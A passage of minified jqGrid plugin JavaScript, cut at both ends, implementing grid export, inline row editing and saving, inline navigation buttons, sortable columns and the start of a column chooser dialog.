r.impstring&&(t(r.impstring,r),Ye(n).triggerHandler("jqGridImportComplete",[r.impstring,r]),Ye.jgrid.isFunction(r.importComplete))&&r.importComplete(r.impstring)}}}),Ye.jgrid.extend({jqGridExport:function(t){t=Ye.extend({exptype:"xmlstring",root:"grid",ident:"\t",addOptions:{},data:!0},t||{});var r=null;return this.each(function(){if(this.grid){var e=Ye.extend(!0,{},Ye(this).jqGrid("getGridParam"),t.addOptions);switch(e.rownumbers&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.multiselect&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.searchCols&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.subGrid&&(e.colNames.splice(0,1),e.colModel.splice(0,1)),e.knv=null,t.data||(e.data=[],e._index={}),t.exptype){case"xmlstring":r="<"+t.root+">"+Ye.jgrid.jsonToXML(e,{xmlDecl:""})+"</"+t.root+">";break;case"jsonstring":r=Ye.jgrid.stringify(e),t.root&&(r="{"+t.root+":"+r+"}")}}}),r},excelExport:function(n){return n=Ye.extend({exptype:"remote",url:null,oper:"oper",tag:"excel",beforeExport:null,exporthidden:!1,exportgrouping:!1,exportOptions:{},method:"GET"},n||{}),this.each(function(){if(this.grid&&"remote"===n.exptype){var t=Ye.extend({},this.p.postData);if(t[n.oper]=n.tag,Ye.jgrid.isFunction(n.beforeExport)&&(a=n.beforeExport.call(this,t),Ye.isPlainObject(a))&&(t=a),n.exporthidden){for(var e=this.p.colModel,r=e.length,i=[],o=0;o<r;o++)void 0===e[o].hidden&&(e[o].hidden=!1),i.push({name:e[o].name,hidden:e[o].hidden});var a=JSON.stringify(i);"string"==typeof a&&(t.colModel=a)}n.exportgrouping&&"string"==typeof(a=JSON.stringify(this.p.groupingView))&&(t.groupingView=a);try{Ye.jgrid.postForm(n.url,t,n.method)}catch(e){a=jQuery.param(t),t=-1!==n.url.indexOf("?")?n.url+"&"+a:n.url+"?"+a;window.location=t}}})}}),Ye.jgrid.inlineEdit=Ye.jgrid.inlineEdit||{},Ye.jgrid.extend({editRow:function(u,e,t,r,i,o,a,n,l){var h={},s=Ye.makeArray(arguments).slice(1),g=this[0];return"object"===Ye.jgrid.type(s[0])?h=s[0]:(void 0!==e&&(h.keys=e),Ye.jgrid.isFunction(t)&&(h.oneditfunc=t),Ye.jgrid.isFunction(r)&&(h.successfunc=r),void 0!==i&&(h.url=i),void 0!==o&&(h.extraparam=o),Ye.jgrid.isFunction(a)&&(h.aftersavefunc=a),Ye.jgrid.isFunction(n)&&(h.errorfunc=n),Ye.jgrid.isFunction(l)&&(h.afterrestorefunc=l)),h=Ye.extend(!0,{keys:!1,keyevent:"keydown",onEnter:null,onEscape:null,oneditfunc:null,successfunc:null,url:null,extraparam:{},aftersavefunc:null,errorfunc:null,afterrestorefunc:null,restoreAfterError:!0,mtype:"POST",focusField:!0,saveui:"enable",savetext:Ye.jgrid.getRegional(g,"defaults.savetext")},Ye.jgrid.inlineEdit,h),this.each(function(){var o,a,t,n,e,l=0,s=null,d={},p=Ye(this).jqGrid("getStyleUI",g.p.styleUI+".inlinedit","inputClass",!0),c=Ye(this).jqGrid("getStyleUI",g.p.styleUI+".inlinedit","selectClass",!0);g.grid&&!1!==(t=Ye(g).jqGrid("getInd",u,!0))&&(g.p.beforeAction=!0,(e=void 0===(e=Ye.jgrid.isFunction(h.beforeEditRow)?h.beforeEditRow.call(g,h,u):void 0)?!0:e)?"0"!==(Ye(t).attr("editable")||"0")||Ye(t).hasClass("not-editable-row")||(n=g.p.colModel,Ye(t).children('td[role="gridcell"]').each(function(t){o=n[t].name;var e,r,i=!0===g.p.treeGrid&&o===g.p.ExpandColumn;if(i)a=Ye(this).find("span").first().html();else try{a=Ye.unformat.call(g,this,{rowId:u,colModel:n[t]},t)}catch(e){a=n[t].edittype&&"textarea"===n[t].edittype?Ye(this).text():Ye(this).html()}"cb"!==o&&"subgrid"!==o&&"rn"!==o&&"sc"!==o&&(g.p.autoencode&&(a=Ye.jgrid.htmlDecode(a)),!0===n[t].editable)&&(d[o]=a,null===s&&(s=t),(i?Ye(this).find("span").first():Ye(this)).html(""),e=Ye.extend({},n[t].editoptions||{},{id:u+"_"+o,name:o,rowId:u,oper:"edit",module:"inline"}),n[t].edittype||(n[t].edittype="text"),(" "===a||" "===a||null!==a&&1===a.length&&160===a.charCodeAt(0))&&(a=""),r=Ye.jgrid.createEl.call(g,n[t].edittype,e,a,!0,Ye.extend({},Ye.jgrid.ajaxOptions,g.p.ajaxSelectOptions||{})),Ye(r).addClass("editable inline-edit-cell"),-1<Ye.inArray(n[t].edittype,["text","textarea","password"])?Ye(r).addClass(p):"select"===n[t].edittype&&Ye(r).addClass(c),(i?Ye(this).find("span").first():Ye(this)).append(r),Ye.jgrid.bindEv.call(g,r,e),"select"===n[t].edittype&&void 0!==n[t].editoptions&&!0===n[t].editoptions.multiple&&void 0===n[t].editoptions.dataUrl&&Ye.jgrid.msie()&&Ye(r).width(Ye(r).width()),l++)}),0<l&&(d.id=u,g.p.savedRow.push(d),Ye(t).attr("editable","1"),h.focusField&&("number"==typeof h.focusField&&parseInt(h.focusField,10)<=n.length&&(s=h.focusField),setTimeout(function(){var e=Ye("td",t).eq(s).find(":input:visible").not(":disabled");0<e.length&&e.focus()},0)),!0===h.keys&&Ye(t).on(h.keyevent,function(e){if(27===e.keyCode){if(Ye.jgrid.isFunction(h.onEscape))return h.onEscape.call(g,u,h,e),!0;if(Ye(g).jqGrid("restoreRow",u,h),g.p.inlineNav)try{Ye(g).jqGrid("showAddEditButtons")}catch(e){}return!1}if(13===e.keyCode){if(e.preventDefault(),Ye.jgrid.isFunction(h.onEnter))return h.onEnter.call(g,u,h,e),!0;if("TEXTAREA"===e.target.tagName)return!0;if(Ye(g).jqGrid("saveRow",u,h)&&g.p.inlineNav)try{Ye(g).jqGrid("showAddEditButtons")}catch(e){}return!1}}),Ye(g).triggerHandler("jqGridInlineEditRow",[u,h]),Ye.jgrid.isFunction(h.oneditfunc))&&h.oneditfunc.call(g,u)):g.p.beforeAction=!1)})},saveRow:function(n,e,t,r,i,o,a){var l,s,d,p,c=Ye.makeArray(arguments).slice(1),u={},h=this[0],g=("object"===Ye.jgrid.type(c[0])?u=c[0]:(Ye.jgrid.isFunction(e)&&(u.successfunc=e),void 0!==t&&(u.url=t),void 0!==r&&(u.extraparam=r),Ye.jgrid.isFunction(i)&&(u.aftersavefunc=i),Ye.jgrid.isFunction(o)&&(u.errorfunc=o),Ye.jgrid.isFunction(a)&&(u.afterrestorefunc=a)),u=Ye.extend(!0,{successfunc:null,url:null,extraparam:{},aftersavefunc:null,errorfunc:null,afterrestorefunc:null,restoreAfterError:!0,mtype:"POST",saveui:"enable",savetext:Ye.jgrid.getRegional(h,"defaults.savetext")},Ye.jgrid.inlineEdit,u),!1),f={},m={},v={},j=!1,b=Ye.jgrid.trim(Ye(h).jqGrid("getStyleUI",h.p.styleUI+".common","error",!0));if(!h.grid)return g;if(!1===(p=Ye(h).jqGrid("getInd",n,!0)))return g;var y,w,x,_,q,C=Ye.jgrid.getRegional(h,"errors"),I=Ye.jgrid.getRegional(h,"edit"),c=Ye.jgrid.isFunction(u.beforeSaveRow)?u.beforeSaveRow.call(h,u,n):void 0;if(c=void 0===c?!0:c){if(e=Ye(p).attr("editable"),u.url=u.url||h.p.editurl,"1"===e){if(Ye(p).children('td[role="gridcell"]').each(function(e){if(y=h.p.colModel[e],l=y.name,x="","cb"!==l&&"subgrid"!==l&&!0===y.editable&&"rn"!==l&&"sc"!==l&&!Ye(this).hasClass("not-editable-cell")){switch(y.edittype){case"checkbox":var t=["Yes","No"];y.editoptions&&y.editoptions.value&&(t=y.editoptions.value.split(":")),f[l]=Ye("input",this).is(":checked")?t[0]:t[1],x=Ye("input",this);break;case"text":case"password":case"textarea":case"button":f[l]=Ye("input, textarea",this).val(),x=Ye("input, textarea",this);break;case"select":var r;y.editoptions.multiple?(t=Ye("select",this),r=[],f[l]=Ye(t).val(),f[l]?f[l]=f[l].join(","):f[l]="",Ye("select option:selected",this).each(function(e,t){r[e]=Ye(t).text()}),m[l]=r.join(",")):(f[l]=Ye("select option:selected",this).val(),m[l]=Ye("select option:selected",this).text()),y.formatter&&(m={}),x=Ye("select",this);break;case"custom":try{if(!y.editoptions||!Ye.jgrid.isFunction(y.editoptions.custom_value))throw"e1";if(f[l]=y.editoptions.custom_value.call(h,Ye(".customelement",this),"get"),void 0===f[l])throw"e2"}catch(e){"e1"===e?Ye.jgrid.info_dialog(C.errcap,"function 'custom_value' "+I.msg.nodefined,I.bClose,{styleUI:h.p.styleUI}):Ye.jgrid.info_dialog(C.errcap,e.message,I.bClose,{styleUI:h.p.styleUI})}}if(!1===(d=Ye.jgrid.checkValues.call(h,f[l],e))[0])return w=e,!1;h.p.autoencode&&(f[l]=Ye.jgrid.htmlEncode(f[l])),"clientArray"!==u.url&&y.editoptions&&!0===y.editoptions.NullIfEmpty&&""===f[l]&&(v[l]="null",j=!0)}}),!1===d[0]){try{Ye.jgrid.isFunction(h.p.validationCell)?h.p.validationCell.call(h,x,d[1],p.rowIndex,w):(_=Ye(h).jqGrid("getGridRowById",n),q=Ye.jgrid.findPos(_),Ye.jgrid.info_dialog(C.errcap,d[1],I.bClose,{left:q[0],top:q[1]+Ye(_).outerHeight(),styleUI:h.p.styleUI,onClose:function(){0<=w&&Ye("#"+n+"_"+h.p.colModel[w].name).focus()}}))}catch(e){alert(d[1])}return g}var t=h.p.prmNames,D=n,r=!1===h.p.keyName?t.id:h.p.keyName;if(Ye.isEmptyObject(f)||(f[t.oper]=t.editoper,void 0===f[r]||""===f[r]?f[r]=n:p.id!==h.p.idPrefix+f[r]&&(i=Ye.jgrid.stripPref(h.p.idPrefix,n),void 0!==h.p._index[i]&&(h.p._index[f[r]]=h.p._index[i],delete h.p._index[i]),n=h.p.idPrefix+f[r],Ye(p).attr("id",n),h.p.selrow===D&&(h.p.selrow=n),Array.isArray(h.p.selarrrow)&&0<=(o=Ye.inArray(D,h.p.selarrrow))&&(h.p.selarrrow[o]=n),h.p.multiselect)&&(a="jqg_"+h.p.id+"_"+n,Ye("input.cbox",p).attr("id",a).attr("name",a)),void 0===h.p.inlineData&&(h.p.inlineData={}),f=Ye.extend({},f,h.p.inlineData,u.extraparam)),"clientArray"===u.url){f=Ye.extend({},f,m),h.p.autoencode&&Ye.each(f,function(e,t){f[e]=Ye.jgrid.htmlDecode(t)});var F,f=Ye.jgrid.isFunction(h.p.serializeRowData)?h.p.serializeRowData.call(h,f):f,c=Ye(h).jqGrid("setRowData",n,f);for(Ye(p).attr("editable","0"),F=0;F<h.p.savedRow.length;F++)if(String(h.p.savedRow[F].id)===String(D)){s=F;break}Ye(h).triggerHandler("jqGridInlineAfterSaveRow",[n,c,f,u]),Ye.jgrid.isFunction(u.aftersavefunc)&&u.aftersavefunc.call(h,n,c,f,u),0<=s&&h.p.savedRow.splice(s,1),g=!0,Ye(p).removeClass("jqgrid-new-row").off("keydown")}else"storage"===u.url?(f=Ye.extend({},f,m),h.p.autoencode&&Ye.each(f,function(e,t){f[e]=Ye.jgrid.htmlDecode(t)}),f=Ye.jgrid.isFunction(h.p.serializeRowData)?h.p.serializeRowData.call(h,f):f,Ye(p).hasClass("jqgrid-new-row")?Ye(h).jqGrid("addStorageRecord",f).then(function(e){if("complete"===e.type){var t,e=Ye(h).jqGrid("setRowData",n,f);for(Ye(p).attr("editable","0"),t=0;t<h.p.savedRow.length;t++)if(String(h.p.savedRow[t].id)===String(D)){s=t;break}Ye(h).triggerHandler("jqGridInlineAfterSaveRow",[n,e,f,u]),Ye.jgrid.isFunction(u.aftersavefunc)&&u.aftersavefunc.call(h,n,e,f,u),0<=s&&h.p.savedRow.splice(s,1),g=!0,Ye(p).removeClass("jqgrid-new-row").off("keydown"),!0===h.p.inlineNav&&Ye(h).jqGrid("showAddEditButtons")}}).catch(function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):Ye(h).jqGrid("updateStorageRecord",f).then(function(e){if("complete"===e.type){var t,e=Ye(h).jqGrid("setRowData",n,f);for(Ye(p).attr("editable","0"),t=0;t<h.p.savedRow.length;t++)if(String(h.p.savedRow[t].id)===String(D)){s=t;break}Ye(h).triggerHandler("jqGridInlineAfterSaveRow",[n,e,f,u]),Ye.jgrid.isFunction(u.aftersavefunc)&&u.aftersavefunc.call(h,n,e,f,u),0<=s&&h.p.savedRow.splice(s,1),g=!0,Ye(p).off("keydown"),!0===h.p.inlineNav&&Ye(h).jqGrid("showAddEditButtons")}}).catch(function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")})):(Ye(h).jqGrid("progressBar",{method:"show",loadtype:u.saveui,htmlcontent:u.savetext}),(v=Ye.extend({},f,v))[r]=Ye.jgrid.stripPref(h.p.idPrefix,v[r]),Ye.ajax(Ye.extend({url:u.url,data:Ye.jgrid.isFunction(h.p.serializeRowData)?h.p.serializeRowData.call(h,v):v,type:u.mtype,async:!1,success:function(e,t,r){if(Ye(h).jqGrid("progressBar",{method:"hide",loadtype:u.saveui,htmlcontent:u.savetext}),"success"===t){var i,o=!0,a=Ye(h).triggerHandler("jqGridInlineSuccessSaveRow",[r,n,u]);if((a=Array.isArray(a)?a:[!0,v])[0]&&Ye.jgrid.isFunction(u.successfunc)&&(a=u.successfunc.call(h,r)),Array.isArray(a)?(o=a[0],f=a[1]||f):o=a,!0===o){for(h.p.autoencode&&Ye.each(f,function(e,t){f[e]=Ye.jgrid.htmlDecode(t)}),j&&Ye.each(f,function(e){"null"===f[e]&&(f[e]="")}),f=Ye.extend({},f,m),Ye(h).jqGrid("setRowData",n,f),Ye(p).attr("editable","0"),i=0;i<h.p.savedRow.length;i++)if(String(h.p.savedRow[i].id)===String(n)){s=i;break}Ye(h).triggerHandler("jqGridInlineAfterSaveRow",[n,r,f,u]),Ye.jgrid.isFunction(u.aftersavefunc)&&u.aftersavefunc.call(h,n,r,f,u),0<=s&&h.p.savedRow.splice(s,1),g=!0,Ye(p).removeClass("jqgrid-new-row").off("keydown")}else Ye(h).triggerHandler("jqGridInlineErrorSaveRow",[n,r,t,null,u]),Ye.jgrid.isFunction(u.errorfunc)&&u.errorfunc.call(h,n,r,t,null),!0===u.restoreAfterError&&Ye(h).jqGrid("restoreRow",n,u)}},error:function(e,t,r){if(Ye("#lui_"+Ye.jgrid.jqID(h.p.id)).hide(),Ye(h).triggerHandler("jqGridInlineErrorSaveRow",[n,e,t,r,u]),Ye.jgrid.isFunction(u.errorfunc))u.errorfunc.call(h,n,e,t,r);else{t=e.responseText||e.statusText;try{Ye.jgrid.info_dialog(C.errcap,'<div class="'+b+'">'+t+"</div>",I.bClose,{buttonalign:"right",styleUI:h.p.styleUI})}catch(e){alert(t)}}!0===u.restoreAfterError&&Ye(h).jqGrid("restoreRow",n,u)}},Ye.jgrid.ajaxOptions,h.p.ajaxRowOptions||{})))}return g}},restoreRow:function(n,e){var t=Ye.makeArray(arguments).slice(1),l={};return"object"===Ye.jgrid.type(t[0])?l=t[0]:Ye.jgrid.isFunction(e)&&(l.afterrestorefunc=e),l=Ye.extend(!0,{},Ye.jgrid.inlineEdit,l),this.each(function(){var e,t,r=this,i=-1,o={};if(r.grid&&!1!==(e=Ye(r).jqGrid("getInd",n,!0))){var a=Ye.jgrid.isFunction(l.beforeCancelRow)?l.beforeCancelRow.call(r,l,n):void 0;if(a=void 0===a?!0:a){for(t=0;t<r.p.savedRow.length;t++)if(String(r.p.savedRow[t].id)===String(n)){i=t;break}if(0<=i){if(Ye.jgrid.isFunction(Ye.fn.datepicker))try{Ye("input.hasDatepicker","#"+Ye.jgrid.jqID(e.id)).datepicker("hide")}catch(e){}Ye.each(r.p.colModel,function(){r.p.savedRow[i].hasOwnProperty(this.name)&&(o[this.name]=r.p.savedRow[i][this.name])}),Ye(r).jqGrid("setRowData",n,o),Ye(e).attr("editable","0").off("keydown"),r.p.savedRow.splice(i,1),Ye("#"+Ye.jgrid.jqID(n),"#"+Ye.jgrid.jqID(r.p.id)).hasClass("jqgrid-new-row")&&setTimeout(function(){Ye(r).jqGrid("delRowData",n),Ye(r).jqGrid("showAddEditButtons")},0)}Ye(r).triggerHandler("jqGridInlineAfterRestoreRow",[n]),Ye.jgrid.isFunction(l.afterrestorefunc)&&l.afterrestorefunc.call(r,n)}}})},addRow:function(i){return i=Ye.extend(!0,{rowID:null,initdata:{},position:"first",useDefValues:!0,useFormatter:!1,addRowParams:{extraparam:{}}},i||{}),this.each(function(){var t,e,r;this.grid&&((t=this).p.beforeAction=!0,(e=void 0===(e=Ye.jgrid.isFunction(i.beforeAddRow)?i.beforeAddRow.call(t,i.addRowParams):void 0)?!0:e)?(i.rowID=Ye.jgrid.isFunction(i.rowID)?i.rowID.call(t,i):null!=i.rowID?i.rowID:Ye.jgrid.randId(),!0===i.useDefValues&&Ye(t.p.colModel).each(function(){var e;this.editoptions&&this.editoptions.defaultValue&&(e=this.editoptions.defaultValue,e=Ye.jgrid.isFunction(e)?e.call(t):e,i.initdata[this.name]=e)}),Ye(t).jqGrid("addRowData",i.rowID,i.initdata,i.position),i.rowID=t.p.idPrefix+i.rowID,Ye("#"+Ye.jgrid.jqID(i.rowID),"#"+Ye.jgrid.jqID(t.p.id)).addClass("jqgrid-new-row"),i.useFormatter?Ye("#"+Ye.jgrid.jqID(i.rowID)+" .ui-inline-edit","#"+Ye.jgrid.jqID(t.p.id)).click():(r=(e=t.p.prmNames).oper,i.addRowParams.extraparam[r]=e.addoper,Ye(t).jqGrid("editRow",i.rowID,i.addRowParams),Ye(t).jqGrid("setSelection",i.rowID))):t.p.beforeAction=!1)})},inlineNav:function(a,n){var l=this[0],s=Ye.jgrid.getRegional(l,"nav"),e=Ye.jgrid.styleUI[l.p.styleUI].inlinedit;return n=Ye.extend(!0,{edit:!0,editicon:e.icon_edit_nav,add:!0,addicon:e.icon_add_nav,save:!0,saveicon:e.icon_save_nav,cancel:!0,cancelicon:e.icon_cancel_nav,addParams:{addRowParams:{extraparam:{}}},editParams:{},restoreAfterSelect:!0,saveAfterSelect:!1},s,n||{}),this.each(function(){if(this.grid&&!this.p.inlineNav){var o=Ye.jgrid.jqID(l.p.id),t=Ye.jgrid.trim(Ye(l).jqGrid("getStyleUI",l.p.styleUI+".common","disabled",!0));if(l.p.navGrid||Ye(l).jqGrid("navGrid",a,{refresh:!1,edit:!1,add:!1,del:!1,search:!1,view:!1}),Ye(l).data("inlineNav")||Ye(l).data("inlineNav",n),l.p.force_regional&&(n=Ye.extend(n,s)),(l.p.inlineNav=!0)===n.addParams.useFormatter)for(var e,r=l.p.colModel,i=0;i<r.length;i++)if(r[i].formatter&&"actions"===r[i].formatter){r[i].formatoptions&&(e=Ye.extend({keys:!1,onEdit:null,onSuccess:null,afterSave:null,onError:null,afterRestore:null,extraparam:{},url:null},r[i].formatoptions),n.addParams.addRowParams={keys:e.keys,oneditfunc:e.onEdit,successfunc:e.onSuccess,url:e.url,extraparam:e.extraparam,aftersavefunc:e.afterSave,errorfunc:e.onError,afterrestorefunc:e.afterRestore});break}n.add&&Ye(l).jqGrid("navButtonAdd",a,{caption:n.addtext,title:n.addtitle,buttonicon:n.addicon,id:l.p.id+"_iladd",internal:!0,onClickButton:function(){void 0===l.p.beforeAction&&(l.p.beforeAction=!0),Ye(l).jqGrid("addRow",n.addParams),!n.addParams.useFormatter&&l.p.beforeAction&&(Ye("#"+o+"_ilsave").removeClass(t),Ye("#"+o+"_ilcancel").removeClass(t),Ye("#"+o+"_iladd").addClass(t),Ye("#"+o+"_iledit").addClass(t))}}),n.edit&&Ye(l).jqGrid("navButtonAdd",a,{caption:n.edittext,title:n.edittitle,buttonicon:n.editicon,id:l.p.id+"_iledit",internal:!0,onClickButton:function(){var e=Ye(l).jqGrid("getGridParam","selrow");e?(void 0===l.p.beforeAction&&(l.p.beforeAction=!0),Ye(l).jqGrid("editRow",e,n.editParams),l.p.beforeAction&&(Ye("#"+o+"_ilsave").removeClass(t),Ye("#"+o+"_ilcancel").removeClass(t),Ye("#"+o+"_iladd").addClass(t),Ye("#"+o+"_iledit").addClass(t))):(Ye.jgrid.viewModal("#alertmod_"+o,{gbox:"#gbox_"+o,jqm:!0}),Ye("#jqg_alrt").focus())}}),n.save&&(Ye(l).jqGrid("navButtonAdd",a,{caption:n.savetext||"",title:n.savetitle||"Save row",buttonicon:n.saveicon,id:l.p.id+"_ilsave",internal:!0,onClickButton:function(){var e,t,r,i=l.p.savedRow[0].id;i?(t=(e=l.p.prmNames).oper,r=n.editParams,Ye("#"+Ye.jgrid.jqID(i),"#"+o).hasClass("jqgrid-new-row")?(n.addParams.addRowParams.extraparam[t]=e.addoper,r=n.addParams.addRowParams):(n.editParams.extraparam||(n.editParams.extraparam={}),n.editParams.extraparam[t]=e.editoper),Ye(l).jqGrid("saveRow",i,r)&&Ye(l).jqGrid("showAddEditButtons")):(Ye.jgrid.viewModal("#alertmod_"+o,{gbox:"#gbox_"+o,jqm:!0}),Ye("#jqg_alrt").focus())}}),Ye("#"+o+"_ilsave").addClass(t)),n.cancel&&(Ye(l).jqGrid("navButtonAdd",a,{caption:n.canceltext||"",title:n.canceltitle||"Cancel row editing",buttonicon:n.cancelicon,id:l.p.id+"_ilcancel",internal:!0,onClickButton:function(){var e=l.p.savedRow[0].id,t=n.editParams;e?(Ye("#"+Ye.jgrid.jqID(e),"#"+o).hasClass("jqgrid-new-row")&&(t=n.addParams.addRowParams),Ye(l).jqGrid("restoreRow",e,t),Ye(l).jqGrid("showAddEditButtons")):(Ye.jgrid.viewModal("#alertmod",{gbox:"#gbox_"+o,jqm:!0}),Ye("#jqg_alrt").focus())}}),Ye("#"+o+"_ilcancel").addClass(t)),!0!==n.restoreAfterSelect&&!0!==n.saveAfterSelect||Ye(l).on("jqGridBeforeSelectRow.inlineNav",function(e,t){0<l.p.savedRow.length&&!0===l.p.inlineNav&&t!==l.p.selrow&&null!==l.p.selrow&&(t=!0,l.p.selrow===n.addParams.rowID?Ye(l).jqGrid("delRowData",l.p.selrow):!0===n.restoreAfterSelect?Ye(l).jqGrid("restoreRow",l.p.selrow,n.editParams):t=Ye(l).jqGrid("saveRow",l.p.selrow,n.editParams),t)&&Ye(l).jqGrid("showAddEditButtons")})}})},showAddEditButtons:function(){return this.each(function(){var e,t;this.grid&&(e=Ye.jgrid.jqID(this.p.id),t=Ye.jgrid.trim(Ye(this).jqGrid("getStyleUI",this.p.styleUI+".common","disabled",!0)),Ye("#"+e+"_ilsave").addClass(t),Ye("#"+e+"_ilcancel").addClass(t),Ye("#"+e+"_iladd").removeClass(t),Ye("#"+e+"_iledit").removeClass(t))})},showSaveCancelButtons:function(){return this.each(function(){var e,t;this.grid&&(e=Ye.jgrid.jqID(this.p.id),t=Ye.jgrid.trim(Ye(this).jqGrid("getStyleUI",this.p.styleUI+".common","disabled",!0)),Ye("#"+e+"_ilsave").removeClass(t),Ye("#"+e+"_ilcancel").removeClass(t),Ye("#"+e+"_iladd").addClass(t),Ye("#"+e+"_iledit").addClass(t))})}}),Ye.jgrid.msie()&&8===Ye.jgrid.msiever()&&(Ye.expr[":"].hidden=function(e){return 0===e.offsetWidth||0===e.offsetHeight||"none"===e.style.display}),Ye.jgrid._multiselect=!1,Ye.ui&&Ye.ui.multiselect&&(Ye.ui.multiselect.prototype._setSelected&&(i=Ye.ui.multiselect.prototype._setSelected,Ye.ui.multiselect.prototype._setSelected=function(e,t){var r,e=i.call(this,e,t);return t&&this.selectedList&&(r=this.element,this.selectedList.find("li").each(function(){Ye(this).data("optionLink")&&Ye(this).data("optionLink").remove().appendTo(r)})),e}),Ye.ui.multiselect.prototype.destroy&&(Ye.ui.multiselect.prototype.destroy=function(){this.element.show(),this.container.remove(),(void 0===Ye.Widget?Ye.widget:Ye.Widget).prototype.destroy.apply(this,arguments)}),Ye.jgrid._multiselect=!0),Ye.jgrid.extend({sortableColumns:function(l){return this.each(function(){var n=this,e=Ye.jgrid.jqID(n.p.id),t=!1;function r(){n.p.disableClick=!0,n.p.frozenColumns&&(Ye(n).jqGrid("destroyFrozenColumns"),t=!0)}function i(){setTimeout(function(){n.p.disableClick=!1,t&&(Ye(n).jqGrid("setFrozenColumns"),t=!1)},50)}var o,a,e={tolerance:"pointer",axis:"x",scrollSensitivity:"1",items:">th:not(:has(#jqgh_"+e+"_cb,#jqgh_"+e+"_rn,#jqgh_"+e+"_subgrid),:hidden)",cancel:".sortable-disabled",placeholder:{element:function(e){return Ye(document.createElement(e[0].nodeName)).addClass(e[0].className+" ui-sortable-placeholder ui-state-highlight").removeClass("ui-sortable-helper")[0]},update:function(e,t){t.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),t.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10))}},update:function(e,t){var t=Ye(t.item).parent(),t=Ye(">th",t),r=n.p.colModel,i={},o=n.p.id+"_",a=(Ye.each(r,function(e){i[this.name]=e}),[]);t.each(function(){var e=Ye(">div",this).get(0).id.replace(/^jqgh_/,"").replace(o,"");i.hasOwnProperty(e)&&a.push(i[e])}),Ye(n).jqGrid("remapColumns",a,!0,!0),Ye.jgrid.isFunction(n.p.sortable.update)&&n.p.sortable.update(a)}},e=(n.p.sortable.options?Ye.extend(e,n.p.sortable.options):Ye.jgrid.isFunction(n.p.sortable)&&(n.p.sortable={update:n.p.sortable}),e.start?(o=e.start,e.start=function(e,t){r(),o.call(this,e,t)}):e.start=r,e.stop?(a=e.stop,e.stop=function(e,t){i(),a.call(this,e,t)}):e.stop=i,n.p.sortable.exclude&&(e.items+=":not("+n.p.sortable.exclude+")"),l.sortable(e)),e=e.data("sortable")||e.data("uiSortable");null!=e&&(e.data("sortable").floating=!0)})},columnChooser:function(t){var r,i,o=this,n={},a=[],e=o.jqGrid("getGridParam","colModel"),l=Ye.extend([],o.jqGrid("getGridParam","colNames")),s=function(e){return Ye.ui.multiselect.prototype&&e.data(Ye.ui.multiselect.prototype.widgetFullName||Ye.ui.multiselect.prototype.widgetName)||e.data("ui-multiselect")||e.data("multiselect")},d=Ye.jgrid.getRegional(this[0],"col");if(!Ye("#colchooser_"+Ye.jgrid.jqID(o[0].p.id)).length){if(r=Ye('<div id="colchooser_'+o[0].p.id+'" style="position:relative;overflow:hidden"><div><select multiple="multiple"></select></div></div>'),i=Ye("select",r),t=Ye.extend({width:400,height:240,classname:null,groupHeaders:!1,done:function(e){e&&o.jqGrid("remapColumns",e,!0)},msel:"multiselect",dlog:"dialog",dialog_opts:{minWidth:470,dialogClass:"ui-jqdialog"},dlog_opts:function(e){var t={};return t[e.bSubmit]=function(){e.apply_perm(),e.cleanup(!1)},t[e.bCancel]=function(){e.cleanup(!0)},Ye.extend(!0,{buttons:t,close:function(){e.cleanup(!0)},modal:e.modal||!1,resizable:e.resizable||!0,width:e.width+70,resize:m},e.dialog_opts||{})},apply_perm:function(){var a=[];Ye("option",i).each(function(){Ye(this).is(":selected")?o.jqGrid("showCol",e[this.value].name):o.jqGrid("hideCol",e[this.value].name)}),Ye("option[selected]",i).each(function(){this.selected&&a.push(parseInt(this.value,10))}),Ye.each(a,function(){delete n[e[parseInt(this,10)].name]}),Ye.each(n,function(){var e,t,r,i,o=parseInt(this,10);e=a,t=o=o,a=0<=o?(i=(r=e.slice()).splice(o,Math.max(e.length-o,o)),r[o=o>e.length?e.length:o]=t,r.concat(i)):e}),t.done&&t.done.call(o,a),o.jqGrid("setGridWidth",o[0].p.width,o[0].p.shrinkToFit)},cleanup:function(e){f(t.dlog,r,"destroy"),f(t.msel,i,"destroy"),r.remove(),e&&t.done&&t.done.call(o)},msel_opts:{dividerLocation:.5}},d,t||{}),Ye.ui&&Ye.ui.multiselect&&Ye.ui.multiselect.defaults){if(!Ye.jgrid._multiselect)return void alert("Multiselect plugin loaded after jqGrid. Please load the plugin before the jqGrid!");t.msel_opts=Ye.extend(Ye.ui.multiselect.defaults,t.msel_opts)}if(o.jqGrid("isGroupHeaderOn")&&t.groupHeaders)for(var d=o[0].p.groupHeader.length,p=o[0].p.groupHeader[d-1],c=0;c<l.length;c++){var u=Ye.jgrid.inColumnHeader(e[c].name,p.groupHeaders);if(0<=u){l[c]=p.groupHeaders[u].titleText+"::"+l[c];for(var h=1;h<=p.groupHeaders[u].numberOfColumns-1;h++)l[c+h]=p.groupHeaders[u].titleText+"::"+l[c+h];c=c+p.groupHeaders[u].numberOfColumns-1}}t.caption&&r.attr("title",t.caption),t.classname&&(r.addClass(t.classname),i.addClass(t.classname)),t.width&&(Ye(">div",r).css({width:t.width,margin:"0 auto"}),i.css("width",t.width)),t.height&&(Ye(">div",r).css("height",t.height),i.css("height",t.height-10)),i.empty(),Ye.each(e,function(e){n[this.name]=e,this.hidedlg?this.hidden||a.push(e):i.append("<option value='"+e+"' "+(this.hidden?"":"selected='selected'")+">"+Ye.jgrid.stripHtml(l[e])+"</option>")}),d=Ye.jgrid.isFunction(t.dlog_opts)?t.dlog_opts.call(o,t):t.dlog_opts,f(t.dlog,r,d),d=Ye.jgrid.isFunction(t.msel_opts)?t.msel_opts.call(o,t):t.msel_opts,f(t.msel,i,d);var 